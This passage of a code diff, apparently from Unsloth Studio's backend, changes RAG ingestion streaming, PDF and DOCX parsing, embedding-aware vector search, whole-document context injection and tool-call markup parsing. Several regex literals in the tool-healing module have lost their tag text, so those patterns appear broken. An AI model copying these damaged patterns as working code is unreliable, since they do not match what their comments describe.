completion. + The stream ends only on a terminal status, the ``None`` sentinel, or disconnect. + """ with _jobs_lock: q = _jobs.get(job_id) if q is None: return - while True: - event = q.get() - if event is None: - break - yield event - with _jobs_lock: - _jobs.pop(job_id, None) + terminal = False + try: + while True: + try: + event = q.get(timeout = _SSE_POLL_SECONDS) + except queue.Empty: + try: + row = get_job_status(job_id) + except Exception: # noqa: BLE001 + # A transient status read (e.g. the DB momentarily locked) must + # not abort the stream: routes/rag.py would turn the raised + # exception into a terminal {type: error} frame and the UI would + # drop a document whose worker is still running. Heartbeat and + # retry on the next poll instead. + logger.warning( + "job_events status read failed for %s; continuing", job_id, exc_info = True + ) + yield {"type": "heartbeat"} + continue + if row is None or row.get("status") in _TERMINAL_JOB_STATUSES: + # Worker finished (or row gone); stop and let the client reconcile via getJob. + terminal = True + break + yield {"type": "heartbeat"} + continue + if event is None: + terminal = True + break + yield event + finally: + # Drop the queue once nothing more will be emitted into it: either a + # terminal exit, or a disconnect after the job already finished (the UI + # stops on the terminal event, before [DONE], so terminal is still False + # here -- _run writes the terminal DB status before emitting it). Keep it + # only while the worker is still running, so an early disconnect can + # reconnect and resume its events. + if not terminal: + try: + row = get_job_status(job_id) + terminal = row is None or row.get("status") in _TERMINAL_JOB_STATUSES + except Exception: # noqa: BLE001 + # Can't confirm terminality (transient DB error) -- keep the queue so + # a reconnect can resume rather than orphaning a live worker's events. + terminal = False + if terminal: + with _jobs_lock: + _jobs.pop(job_id, None) def get_job_status(job_id: str) -> dict | None: - """Read the persisted ingestion job row (status / stage / progress / error).""" + """Read the persisted ingestion job row (status / stage / progress / error), plus + the document's ``num_chunks`` so a client polling to completion learns the chunk + count (the SSE ``complete`` frame carries it, but the poll/reconcile path does not).""" conn = rag_db.get_connection() try: - row = conn.execute("SELECT * FROM ingestion_jobs WHERE id=?", (job_id,)).fetchone() + row = conn.execute( + "SELECT j.*, d.num_chunks AS num_chunks FROM ingestion_jobs j " + "LEFT JOIN documents d ON d.id = j.document_id WHERE j.id=?", + (job_id,), + ).fetchone() return dict(row) if row else None finally: conn.close() diff --git a/studio/backend/core/rag/locators.py b/studio/backend/core/rag/locators.py index 57c0487486..9331bb15ac 100644 --- a/studio/backend/core/rag/locators.py +++ b/studio/backend/core/rag/locators.py @@ -39,9 +39,11 @@ def _norm_token(token: str) -> str: def _anchor_tokens(page_text: str, match: LocatorMatch) -> list[str]: """Normalized anchor tokens from the chunk's leading span. Drops first and last - token (boundaries often slice mid-word) when long enough.""" + token (boundaries often slice mid-word) when long enough. Pipes are split out so + Markdown table cells (``|Q1|$1.2M|``) become individual words that match the PDF + word stream.""" segment = page_text[match.start : match.end] - raw = segment.split() + raw = segment.replace("|", " ").split() if len(raw) >= MIN_ANCHOR_WORDS + 2: raw = raw[1:-1] tokens = [t for t in (_norm_token(w) for w in raw) if t] diff --git a/studio/backend/core/rag/parsers.py b/studio/backend/core/rag/parsers.py index 84da941762..9afddf1d9e 100644 --- a/studio/backend/core/rag/parsers.py +++ b/studio/backend/core/rag/parsers.py @@ -12,9 +12,12 @@ from __future__ import annotations import logging import os +import re from dataclasses import dataclass from html.parser import HTMLParser +from . import config + logger = logging.getLogger(__name__) @@ -67,6 +70,61 @@ def _html(raw: str) -> list[Page]: return [_page("\n".join(parser.out), 1)] +# pymupdf4llm rebuilds text from positioned glyphs, which mangles complex-shaping +# scripts (RTL Arabic/Hebrew emerge as shaped Presentation Forms, Indic matras drop to +# U+FFFD) and can silently drop most of a heavy-RTL page. When Markdown trips these +# signals we fall back to PyMuPDF's logical-order get_text(). Thresholds mirror the chat +# extractor guard (unslothai/unsloth#5351 review). +_SHAPED_PRESENTATION_FORMS = re.compile("[\ufb1d-\ufdff\ufe70-\ufefc]") +_PDF_FALLBACK_MIN_BAD_GLYPHS = 5 +_PDF_FALLBACK_BAD_GLYPH_RATIO = 0.0005 +_PDF_INCOMPLETE_RATIO = 0.75 +_PDF_INCOMPLETE_MIN_LETTERS = 200 + + +def _markdown_corrupted(text: str) -> bool: + """True when pymupdf4llm's glyph reconstruction mangled the text: shaped RTL + Presentation Forms or U+FFFD replacements above a small floor/ratio (so a lone + legitimate shaped glyph does not force the fallback).""" + if not text: + return False + threshold = max(_PDF_FALLBACK_MIN_BAD_GLYPHS, _PDF_FALLBACK_BAD_GLYPH_RATIO * len(text)) + shaped = len(_SHAPED_PRESENTATION_FORMS.findall(text)) + return shaped > threshold or text.count("\ufffd") > threshold + + +def _markdown_incomplete(markdown: str, plain: str) -> bool: + """True when ``markdown`` holds far fewer letters than the raw ``get_text`` layer -- a + coarse guard for heavy-RTL pages pymupdf4llm silently drops without shaped glyphs.""" + plain_letters = sum(1 for c in plain if c.isalnum()) + if plain_letters < _PDF_INCOMPLETE_MIN_LETTERS: + return False + markdown_letters = sum(1 for c in markdown if c.isalnum()) + return markdown_letters < _PDF_INCOMPLETE_RATIO * plain_letters + + +def _pdf_markdown(doc) -> list[str] | None: + """Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index + i maps to page i+1. Returns None when the lib is missing, extraction fails, or the + page count does not line up, so the caller falls back to plain PyMuPDF text.""" + try: + import pymupdf4llm + except Exception: + return None + try: + chunks = pymupdf4llm.to_markdown( + doc, + page_chunks = True, + show_progress = False, + ) + except Exception: # noqa: BLE001 - never let Markdown extraction break ingestion + logger.warning("pymupdf4llm extraction failed; using plain text", exc_info = True) + return None + if not isinstance(chunks, list) or len(chunks) != doc.page_count: + return None + return [str(c.get("text") or "") for c in chunks] + + def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]: import fitz # PyMuPDF @@ -74,8 +132,21 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]: images: list[ParsedImage] = [] doc = fitz.open(path) try: + md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None for i, page in enumerate(doc): - text = page.get_text("text") or "" + plain = page.get_text("text") or "" + candidate = md[i] if md else "" + # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval), + # but drop to PyMuPDF's logical-order text when Markdown is off/empty or when + # pymupdf4llm mangled it (RTL/Indic) or dropped most of the page. + if ( + candidate + and not _markdown_corrupted(candidate) + and not _markdown_incomplete(candidate, plain) + ): + text = candidate + else: + text = plain pages.append(_page(text, i + 1)) if want_images: for img in page.get_images(full = True): @@ -118,74 +189,224 @@ def _merge_rects(boxes: list) -> list: return merged -def render_pdf_figures( - path: str, +def _figure_boxes( + page, *, - dpi: int = 130, min_area_frac: float = 0.04, min_side: float = 40.0, - max_figures: int = 8, -) -> list[ParsedImage]: - """Detect figure regions and render each to a PNG for captioning. +) -> list: + """Qualifying figure-region rectangles on a page: cluster vector drawings + raster + placements, merge overlaps, keep the page-spanning ones (area/side filtered).""" + boxes: list = [] + try: + boxes.extend(info["bbox"] for info in page.get_image_info()) + except Exception: + pass + try: + boxes.extend(page.cluster_drawings()) + except Exception: + pass + if not boxes: + return [] + page_area = page.rect.width * page.rect.height + keep: list = [] + for box in _merge_rects(boxes): + if ( + box.get_area() >= min_area_frac * page_area + and box.width >= min_side + and box.height >= min_side + ): + keep.append(box) + return keep - Academic figures are vector, so raster extraction yields fragments; instead - cluster vector drawings + raster placements into boxes, keep the page-spanning - ones, and render them. Any failure yields [], never an exception. - """ + +def pages_with_figures( + path: str, + *, + max_pages: int = 4, + min_area_frac: float = 0.04, + min_side: float = 40.0, + exclude_pages: set[int] | None = None, +) -> list[int]: + """1-based page numbers with a qualifying figure region, capped at ``max_pages``; + drives figure tiling. ``exclude_pages`` (1-based) are skipped: those are the pages + OCR already transcribed whole, so tiling them would duplicate the vision work. Any + failure yields [].""" + exclude = exclude_pages or set() try: import pymupdf except Exception: return [] - - out: list[ParsedImage] = [] try: doc = pymupdf.open(path) except Exception: return [] + pages: list[int] = [] try: for i, page in enumerate(doc): - boxes: list = [] - try: - boxes.extend(info["bbox"] for info in page.get_image_info()) - except Exception: - pass - try: - boxes.extend(page.cluster_drawings()) - except Exception: - pass - if not boxes: + if (i + 1) in exclude: continue - page_area = page.rect.width * page.rect.height - for box in _merge_rects(boxes): - if ( - box.get_area() >= min_area_frac * page_area - and box.width >= min_side - and box.height >= min_side - ): - try: - pix = page.get_pixmap(dpi = dpi, clip = box) - out.append( - ParsedImage( - image_bytes = pix.tobytes("png"), - page_number = i + 1, - xref = 0, - ) + if _figure_boxes(page, min_area_frac = min_area_frac, min_side = min_side): + pages.append(i + 1) + if len(pages) >= max_pages: + break + return pages + finally: + doc.close() + + +def render_pdf_figure_tiles( + path: str, + page_numbers, + *, + dpi: int = 200, + rows: int = 2, + cols: int = 2, + overlap: float = 0.12, + fullpage: bool = True, + max_tiles: int = 24, +) -> list[ParsedImage]: + """Render figure-bearing pages as overlapping high-DPI tiles (plus an optional full + page), each a ``ParsedImage`` keyed by page number. Tiling keeps small labels legible + and covers every sub-figure without exact region detection. Any failure yields [].""" + wanted = [int(n) for n in page_numbers] + if not wanted: + return [] + rows, cols = max(1, int(rows)), max(1, int(cols)) # never divide by zero + try: + import pymupdf + except Exception: + return [] + try: + doc = pymupdf.open(path) + except Exception: + return [] + out: list[ParsedImage] = [] + try: + for num in wanted: + if num < 1 or num > doc.page_count: + continue + page = doc[num - 1] + rect = page.rect + clips: list = [rect] if fullpage else [] + cw, ch = rect.width / cols, rect.height / rows + ox, oy = cw * overlap, ch * overlap + for r in range(rows): + for c in range(cols): + clips.append( + pymupdf.Rect( + rect.x0 + c * cw - ox, + rect.y0 + r * ch - oy, + rect.x0 + (c + 1) * cw + ox, + rect.y0 + (r + 1) * ch + oy, ) - except Exception: - continue - if len(out) >= max_figures: - return out + & rect + ) + for clip in clips: + try: + pix = page.get_pixmap(dpi = dpi, clip = clip) + out.append(ParsedImage(image_bytes = pix.tobytes("png"), page_number = num, xref = 0)) + except Exception: + continue + if len(out) >= max_tiles: + return out return out finally: doc.close() +def render_pdf_pages( + path: str, + page_numbers, + *, + dpi: int = 150, +) -> dict[int, bytes]: + """Render whole PDF pages (given as 1-based numbers) to PNG bytes, keyed by + page number. Backs scanned-page OCR. Any failure yields ``{}`` (or skips that + page), never an exception. + """ + wanted = {int(n) for n in page_numbers} + if not wanted: + return {} + try: + import pymupdf + except Exception: + return {} + try: + doc = pymupdf.open(path) + except Exception: + return {} + out: dict[int, bytes] = {} + try: + for i, page in enumerate(doc): + num = i + 1 + if num not in wanted: + continue + try: + pix = page.get_pixmap(dpi = dpi) + out[num] = pix.tobytes("png") + except Exception: + continue + return out + finally: + doc.close() + + +def _docx_table_rows(table) -> list[str]: + """Each row as pipe-joined cell text (the locator splits anchors on pipes). + Columns stay aligned to the layout grid (merged cells fill their spanned slots, + skipped leading/trailing grid columns become empty fields). Cells are walked in + document order so a nested table, and any text after it, flattens in place.""" + from docx.table import Table + from docx.text.paragraph import Paragraph + + rows: list[str] = [] + seen: set = set() # already emitted; dedups merges spanning columns or rows + for row in table.rows: + cells: list[str] = [""] * getattr(row, "grid_cols_before", 0) + trailing: list[str] = [] # nested rows + any post-nested text, kept in order + for cell in row.cells: + # A merged cell shares one across the columns and rows it spans: + # emit its text once, then placeholders, so columns and rows stay aligned. + if cell._tc in seen: + cells.append("") + continue + seen.add(cell._tc) + # Paragraph text before the first nested table is the aligned field; the + # nested table and anything after it flatten below the row, in order. + field: list[str] = [] + after_table = False + for item in cell.iter_inner_content(): + if isinstance(item, Table): + after_table = True + trailing.extend(_docx_table_rows(item)) + elif isinstance(item, Paragraph): + text = " ".join(item.text.split()) # collapse in-cell newlines + if text: + (trailing if after_table else field).append(text) + cells.append(" ".join(field)) # empty cells kept so columns line up + cells.extend([""] * getattr(row, "grid_cols_after", 0)) + if any(c.strip() for c in cells): + rows.append(" | ".join(cells)) + rows.extend(trailing) + return rows + + def _docx(path: str) -> list[Page]: import docx + from docx.table import Table + from docx.text.paragraph import Paragraph document = docx.Document(path) - text = "\n".join(p.text for p in document.paragraphs) - return [_page(text, None)] + lines: list[str] = [] + # Walk body content in document order: paragraphs alone drop tables entirely. + for block in document.iter_inner_content(): + if isinstance(block, Paragraph): + if block.text.strip(): + lines.append(block.text) + elif isinstance(block, Table): + lines.extend(_docx_table_rows(block)) + return [_page("\n".join(lines), None)] def parse(path: str, *, want_images: bool = False): diff --git a/studio/backend/core/rag/retrieval.py b/studio/backend/core/rag/retrieval.py index fe6a033a52..6f933e089e 100644 --- a/studio/backend/core/rag/retrieval.py +++ b/studio/backend/core/rag/retrieval.py @@ -39,8 +39,12 @@ def retrieve_dense( model_name: str | None = None, ) -> list[Hit]: k = k or config.TOP_K_DENSE - vec = embeddings.encode([query], model_name = model_name, normalize = True)[0] - return [Hit(cid, s, dense_score = s) for cid, s in store.search_dense(conn, scope, vec, k)] + effective = model_name or config.effective_embedding_model() + vec = embeddings.encode([query], model_name = effective, normalize = True)[0] + return [ + Hit(cid, s, dense_score = s) + for cid, s in store.search_dense(conn, scope, vec, k, embedding_model = effective) + ] def _rrf(rankings: list[list[Hit]], rrf_k: int, top_k: int) -> list[Hit]: diff --git a/studio/backend/core/rag/store.py b/studio/backend/core/rag/store.py index 7d58931e53..f9128d1715 100644 --- a/studio/backend/core/rag/store.py +++ b/studio/backend/core/rag/store.py @@ -109,11 +109,12 @@ def create_document( status: str = "pending", stored_path: str | None = None, document_id: str | None = None, + embedding_model: str | None = None, ) -> str: document_id = document_id or str(uuid.uuid4()) conn.execute( "INSERT INTO documents(id, scope, kb_id, thread_id, project_id, filename, sha256, " - "status, stored_path, created_at) VALUES(?,?,?,?,?,?,?,?,?,?)", + "status, stored_path, created_at, embedding_model) VALUES(?,?,?,?,?,?,?,?,?,?,?)", ( document_id, scope, @@ -125,6 +126,7 @@ def create_document( status, stored_path, _now(), + embedding_model, ), ) conn.commit() @@ -261,20 +263,50 @@ def search_lexical(conn: sqlite3.Connection, scope, query: str, k: int): return [(r["chunk_id"], -r["s"]) for r in rows] -def search_dense(conn: sqlite3.Connection, scope, vector, k: int): +def search_dense( + conn: sqlite3.Connection, + scope, + vector, + k: int, + *, + embedding_model: str | None = None, +): """Cosine KNN over vec0 for one scope or several. Returns [(chunk_id, 1 - distance)]. vec0 KNN constrains its partition key by - equality, so multi-scope runs one query per scope and merges by score.""" + equality, so multi-scope runs one query per scope and merges by score. + ``embedding_model`` drops hits from documents indexed under a different + (same-width) model, whose vectors live in another space; NULL-model legacy + documents are assumed current, matching the ingestion dedupe rule.""" if not rag_db.vec_table_exists(conn): return [] + dim = rag_db.vec_table_dim(conn) + if dim is not None and dim != len(vector): + # Embedding model switched widths and nothing re-indexed yet; the stale + # table cannot answer new-model queries (vec0 errors on the MATCH). + return [] + # Over-fetch when filtering so stale-model hits don't starve the top-k. + fetch = k * 3 if embedding_model else k out: list[tuple[str, float]] = [] for s in _scopes(scope): rows = conn.execute( "SELECT chunk_id, distance FROM chunks_vec " "WHERE scope=? AND embedding MATCH ? ORDER BY distance LIMIT ?", - (s, _f32(vector), k), + (s, _f32(vector), fetch), ).fetchall() out.extend((r["chunk_id"], 1.0 - r["distance"]) for r in rows) + if embedding_model and out: + ids = [cid for cid, _ in out] + placeholders = ",".join("?" * len(ids)) + valid = { + r["id"] + for r in conn.execute( + f"SELECT c.id FROM chunks c JOIN documents d ON d.id=c.document_id " + f"WHERE c.id IN ({placeholders}) " + f"AND (d.embedding_model IS NULL OR d.embedding_model=?)", + (*ids, embedding_model), + ).fetchall() + } + out = [t for t in out if t[0] in valid] out.sort(key = lambda t: t[1], reverse = True) return out[:k] @@ -292,3 +324,40 @@ def chunks_by_id(conn: sqlite3.Connection, ids) -> dict: list(ids), ).fetchall() return {r["id"]: r for r in rows} + + +def all_chunks_for_scope(conn: sqlite3.Connection, scope) -> list[dict]: + """Every completed-document chunk for a scope, ordered document-then-index and + joined with the document filename. Backs whole-document context injection, so + it does no retrieval or embedding.""" + scopes = _scopes(scope) + if not scopes: + return [] + placeholders = ",".join("?" * len(scopes)) + rows = conn.execute( + f"SELECT c.id, c.text, c.document_id, c.chunk_index, c.page_number, " + f"c.token_count, d.filename, d.created_at " + f"FROM chunks c JOIN documents d ON d.id=c.document_id " + f"WHERE c.scope IN ({placeholders}) AND d.status='completed' " + f"ORDER BY d.created_at, c.document_id, c.chunk_index", + list(scopes), + ).fetchall() + return [dict(r) for r in rows] + + +def scope_token_estimate(conn: sqlite3.Connection, scope) -> int: + """Upper-bound token total for a scope's completed chunks without hydrating text. + Mirrors ``all_chunks_for_scope`` + the ``tool._row_token_count`` fallback (stored + count, else length/4), so the whole-doc budget can be checked before loading text.""" + scopes = _scopes(scope) + if not scopes: + return 0 + placeholders = ",".join("?" * len(scopes)) + row = conn.execute( + f"SELECT COALESCE(SUM(CASE WHEN c.token_count > 0 THEN c.token_count " + f"ELSE MAX(1, length(COALESCE(c.text, '')) / 4) END), 0) AS total " + f"FROM chunks c JOIN documents d ON d.id=c.document_id " + f"WHERE c.scope IN ({placeholders}) AND d.status='completed'", + list(scopes), + ).fetchone() + return int(row["total"] or 0) diff --git a/studio/backend/core/rag/tool.py b/studio/backend/core/rag/tool.py index ccb1b47e63..b05f8dd3a3 100644 --- a/studio/backend/core/rag/tool.py +++ b/studio/backend/core/rag/tool.py @@ -16,7 +16,13 @@ from xml.sax.saxutils import quoteattr from storage import rag_db from . import config, retrieval -from .store import kb_scope, project_scope, thread_scope +from .store import ( + all_chunks_for_scope, + kb_scope, + project_scope, + scope_token_estimate, + thread_scope, +) SEARCH_KNOWLEDGE_BASE_TOOL = { "type": "function", @@ -90,6 +96,30 @@ def _format(rows, hits) -> tuple[str, list[dict]]: return "\n\n".join(blocks), sources +def render_sources(sources: list[dict]) -> str: + """Render a citation-source list to sequentially-numbered ```` blocks, + rewriting each source's ``citationId`` to match its 1-based position. Lets + independently-built source lists (a whole-document thread attachment plus + retrieved project passages) be merged under one citation numbering.""" + blocks: list[str] = [] + for i, s in enumerate(sources, 1): + s["citationId"] = i + src = quoteattr(s.get("filename") or "unknown") + page = s.get("page") + page_attr = f" page={quoteattr(str(page))}" if page else "" + blocks.append(f'\n{s.get("text") or ""}\n') + return "\n\n".join(blocks) + + +def _row_token_count(row) -> int: + """Chunk token count for budgeting, falling back to a length estimate when the + stored count is missing or zero, so a malformed chunk cannot bypass the budget.""" + tc = row["token_count"] + if tc: + return int(tc) + return max(1, len(row["text"] or "") // 4) + + def search_knowledge_base_with_sources( *, query: str, @@ -186,6 +216,55 @@ def search_for_autoinject( return (text, sources) if sources else None +def whole_document_context( + *, scope_thread_id: str | None = None, max_tokens: int +) -> tuple[str, list[dict]] | None: + """Render EVERY chunk of the THREAD's attached documents (in order) as the same + ```` blocks + citation source-map as retrieval, so the model reads the whole + file rather than top-K passages. Thread-attached files only: KB and project corpora + are search corpora, never whole-document, so this resolves the thread scope alone. + ``None`` (caller falls back to retrieval) when there is no thread scope, no completed + chunks, or the total exceeds ``max_tokens``.""" + if not scope_thread_id: + return None + # A non-positive budget means "never inject" (disable whole-doc via + # RAG_THREAD_WHOLE_DOC=0), not "inject the whole corpus unbounded". + if max_tokens <= 0: + return None + scope = thread_scope(scope_thread_id) + conn = rag_db.get_connection() + try: + # Cheap budget pre-check (SUM, no text hydration): reject an oversized attachment + # before loading the whole corpus; all_chunks_for_scope runs only once it fits. + if scope_token_estimate(conn, scope) > max_tokens: + return None + rows = all_chunks_for_scope(conn, scope) + finally: + conn.close() + if not rows: + return None + total = sum(_row_token_count(r) for r in rows) + if total > max_tokens: + return None + + sources: list[dict] = [ + { + "citationId": i, + "chunkId": r["id"], + "documentId": r["document_id"], + "filename": r["filename"] or "unknown", + "page": r["page_number"], + "text": r["text"] or "", + "score": None, + } + for i, r in enumerate(rows, 1) + ] + rendered = render_sources(sources) + if max(1, len(rendered) // 4) > max_tokens: + return None + return rendered, sources + + def search_knowledge_base( *, query: str, diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py index 973520d5cd..1b6b05768a 100644 --- a/studio/backend/core/tool_healing.py +++ b/studio/backend/core/tool_healing.py @@ -1,160 +1,1077 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 +# +# Bracket-tag, rehearsal, and thinking-block-strip logic adapted from forge +# (https://github.com/antoinezambelli/forge), Copyright (c) 2025-2026 +# Antoine Zambelli, used under the MIT License. -"""Tool-call XML parsing and stripping helpers. +"""Lightweight tool-call parsing and stripping helpers. -Extracted verbatim from studio/backend/core/inference/llama_cpp.py so external -inference servers can reuse the logic without importing the inference -orchestrator, structlog, httpx, or the rest of the studio backend. +External inference servers import this module without pulling in the inference +orchestrator, structlog, httpx, or the rest of the studio backend. Kept in +lockstep with ``core/inference/tool_call_parser.py`` so those servers +(llama-server wrappers, llama-swap, custom shims) reuse the same logic. Any +change here must also land there. -Regexes and bodies are byte-for-byte identical to the original; any change must -preserve that. test_tool_healing_extraction_is_exact.py verifies via AST. +Handles these serializations (see ``parse_tool_calls_from_text``): + +* ``{json}`` +* ``<|tool_call>call:name{...}`` (Gemma) +* ``v`` +* ``[TOOL_CALLS]name{json}`` (Mistral / Devstral fallback) +* ``name[ARGS]{json}`` (reasoning-model rehearsal) """ +# PEP 604 annotations must stay import-safe on Python 3.9 (requires-python >=3.9). +from __future__ import annotations + +import bisect import json import re -# Pre-compiled patterns for tool XML stripping. The hyphen in the name -# char-class lets dashed MCP tool/parameter names (mcp__srv__list-issues, -# issue-number) parse alongside the built-ins. +# One nesting level in the strip regexes; deeper may leak markup (still parsed). +_BRACKETED_JSON_ONE_LEVEL = r"\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}" + +# Rehearsal ``name[ARGS]{..}`` strips; group 1 = name for tool-list gating. Closed = +# complete body, tail = truncated; ``(?.*?`` rescans to EOF from every opener +# (quadratic on a stream of unclosed openers). Also reused by the quote-aware Gemma pre-pass. +_TC_JSON_CLOSED_PAT = re.compile(r".*?", re.DOTALL) +_TC_GEMMA_CLOSED_PAT = re.compile(r"<\|tool_call>.*?", re.DOTALL) +_TC_FUNC_CLOSED_PAT = re.compile(r".*?", re.DOTALL) _TOOL_CLOSED_PATS = [ - re.compile(r".*?", re.DOTALL), - re.compile(r".*?", re.DOTALL), + _TC_JSON_CLOSED_PAT, + _TC_GEMMA_CLOSED_PAT, + re.compile(r""), + _TC_FUNC_CLOSED_PAT, + # Mirror the parser regexes: tolerate whitespace and v11 [CALL_ID]/[ARGS] metadata. + re.compile( + r"\[TOOL_CALLS\]\s*[\w-]+(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*" + + _BRACKETED_JSON_ONE_LEVEL, + re.DOTALL, + ), + _REHEARSAL_CLOSED_STRIP_RE, + # Drop the bare v11 [/TOOL_CALLS] closer the balanced scan leaves behind. + re.compile(r"\[/TOOL_CALLS\]"), ] -_TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [ +# Bare open markers strip a partial call mid-stream; the rehearsal tail needs `{` or EOF +# so prose ``foo[ARGS]`` survives. The XML open-tail forms reach EOF and are reused by +# _tool_call_markup_spans (a think tag in an unclosed call's args stays argument data). +_TOOL_OPEN_XML_TAIL_PATS = [ re.compile(r".*$", re.DOTALL), + re.compile(r"<\|tool_call>.*$", re.DOTALL), re.compile(r".*$", re.DOTALL), ] +_TOOL_ALL_PATS = ( + _TOOL_CLOSED_PATS + + _TOOL_OPEN_XML_TAIL_PATS + + [ + re.compile(r"\[TOOL_CALLS\].*$", re.DOTALL), + _REHEARSAL_TAIL_STRIP_RE, + ] +) + +# Rehearsal strips (name in group 1); name-gated via ``enabled_tool_names``, strip-all when None. +_REHEARSAL_STRIP_PATS = frozenset({_REHEARSAL_CLOSED_STRIP_RE, _REHEARSAL_TAIL_STRIP_RE}) + +# Stripped before the quote-aware Gemma helper so a Gemma opener quoted in argument +# data cannot make the helper truncate the block and its tail. +_TOOL_CLOSED_BLOCK_PATS = [_TC_JSON_CLOSED_PAT, _TC_FUNC_CLOSED_PAT] +# A lazy closed-pair pattern whose close token is absent would rescan to EOF from every +# opener; skip that doomed (quadratic) pass. Shared by both strip helpers. +_PAT_REQUIRED_TOKEN = { + _TC_JSON_CLOSED_PAT: "", + _TC_GEMMA_CLOSED_PAT: "", + _TC_FUNC_CLOSED_PAT: "", +} + + +def strip_tool_patterns(text: str, patterns) -> str: + """Apply ``patterns`` in order, skipping closed-pair passes with no close token.""" + for pat in patterns: + token = _PAT_REQUIRED_TOKEN.get(pat) + if token is not None and token not in text: + continue + text = pat.sub("", text) + return text + + +def apply_tool_strip_patterns( + text: str, + patterns, + enabled_tool_names = None, +) -> str: + """Apply strip ``patterns`` to ``text``. A bare rehearsal ``name[ARGS]{..}`` pattern + strips only when ``name`` is an enabled tool (or when ``enabled_tool_names`` is + ``None``); every other pattern is removed unconditionally. A closed-pair pattern whose + close token is absent is skipped so an unclosed-marker stream stays linear.""" + for pat in patterns: + token = _PAT_REQUIRED_TOKEN.get(pat) + if token is not None and token not in text: + continue + if enabled_tool_names is not None and pat in _REHEARSAL_STRIP_PATS: + text = pat.sub(lambda m: "" if m.group(1) in enabled_tool_names else m.group(0), text) + else: + text = pat.sub("", text) + return text + # Pre-compiled patterns for tool-call XML parsing. _TC_JSON_START_RE = re.compile(r"\s*\{") +_TC_GEMMA_START_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w.\-]+)\s*\{") _TC_FUNC_START_RE = re.compile(r"\s*") _TC_END_TAG_RE = re.compile(r"") +_TC_GEMMA_END_TAG_RE = re.compile(r"") _TC_FUNC_CLOSE_RE = re.compile(r"\s*\s*$") -_TC_PARAM_START_RE = re.compile(r"\s*") +# Horizontal-whitespace trailing class keeps the wrapping newline; _trim_param_value trims it. +_TC_PARAM_START_RE = re.compile(r"[^\S\n]*") _TC_PARAM_CLOSE_RE = re.compile(r"\s*\s*$") +_GEMMA_QUOTE = '<|"|>' +_PARAM_CLOSE_TAG = "" +_FUNC_CLOSE_TAG = "" +# A bare (unquoted) Gemma value ends at `}` or at a comma that begins the next +# `key:` pair. A comma NOT followed by a key token is part of the value (e.g. +# `location:New York, NY`), so it must not terminate the value. The key token +# must be identifier-shaped (start with a letter or underscore); a comma +# followed by digits-then-colon is value text such as a timestamp or ratio +# (`meet at 10:00, 11:00 tomorrow`), not a new key. +_GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w.\-]*\s*:") + +# A candidate starting inside a think block is a rehearsal (block kept so literal tags in +# real args survive); ``$`` accepts an unclosed block mid-stream. +_THINK_TAG_RE = re.compile(r".*?(?:|$)|\[THINK\].*?(?:\[/THINK\]|$)", re.DOTALL) +# Bare open/close markers for prefilled-reasoning turns (template opens in the prompt). +_THINK_OPEN_RE = re.compile(r"|\[THINK\]") +_THINK_CLOSE_RE = re.compile(r"|\[/THINK\]") + +# Mistral canonical array: [TOOL_CALLS] + JSON list of {"name","arguments"} objects. +_MISTRAL_ARRAY_RE = re.compile(r"\[TOOL_CALLS\]\s*(?=\[)") + +# Mistral name form + v11 [ARGS]/[CALL_ID] shapes; [CALL_ID] is metadata, not the name, +# and hyphens keep dashed MCP names whole. +_MISTRAL_BRACKET_RE = re.compile( + r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)" +) + +# Rehearsal ``name[ARGS]{json}`` (no [TOOL_CALLS]); the lookbehind keeps the v11 call-id +# from being taken as the function name. +_REHEARSAL_RE = re.compile(r"(? list[dict]: +def _balanced_json_span(text: str, start: int) -> int | None: + """Return the end index of a balanced JSON object opening at ``start``, + or ``None`` if the braces don't balance. Honors escapes and strings. """ - Parse tool calls from XML markup in content text. + if start >= len(text) or text[start] != "{": + return None + depth = 0 + in_string = False + escape = False + for j in range(start, len(text)): + ch = text[j] + if escape: + escape = False + continue + if ch == "\\": + escape = True + continue + if in_string: + if ch == '"': + in_string = False + continue + if ch == '"': + in_string = True + elif ch == "{": + depth += 1 + elif ch == "}": + depth -= 1 + if depth == 0: + return j + return None + + +def _balanced_brace_end( + content: str, + brace_start: int, + *, + gemma_quotes: bool = False, +) -> int: + depth = 0 + i = brace_start + in_string = False + in_gemma_string = False + while i < len(content): + if gemma_quotes and not in_string and content.startswith(_GEMMA_QUOTE, i): + in_gemma_string = not in_gemma_string + i += len(_GEMMA_QUOTE) + continue + ch = content[i] + if in_gemma_string: + i += 1 + continue + if in_string: + if ch == "\\" and i + 1 < len(content): + i += 2 + continue + if ch == '"': + in_string = False + elif ch == '"': + in_string = True + elif ch == "{": + depth += 1 + elif ch == "}": + depth -= 1 + if depth == 0: + return i + i += 1 + return -1 + + +def _balanced_bracket_end(src: str, start: int) -> int: + """Index of the ``]`` matching the ``[`` at ``start``, or -1. Tracks nested + ``[]``/``{}`` and double-quoted strings.""" + depth = 0 + i = start + in_string = False + while i < len(src): + ch = src[i] + if in_string: + if ch == "\\" and i + 1 < len(src): + i += 2 + continue + if ch == '"': + in_string = False + elif ch == '"': + in_string = True + elif ch in "[{": + depth += 1 + elif ch in "]}": + depth -= 1 + if depth == 0: + return i + i += 1 + return -1 + + +def _decode_array_items(text: str, body_start: int, body_end: int): + """Return ``(objs, ends)`` for each top-level element of the JSON array between + ``body_start`` (at or before its ``[``) and ``body_end`` (exclusive): the decoded + object and its absolute exclusive end offset. + + Decoding element-by-element with ``raw_decode`` tolerates the comma-less object + separators the repo's own Mistral/Ollama multi-call templates emit + (``[{...}{...}]``; see ollama_template_mappers.py). A single ``json.loads`` of the + whole body rejects that form and would drop every call. The ends also tile the + region across the calls' spans so a with_spans consumer strips each exactly once.""" + decoder = json.JSONDecoder() + objs: list = [] + ends: list[int] = [] + i = text.find("[", body_start) + if i < 0: + return 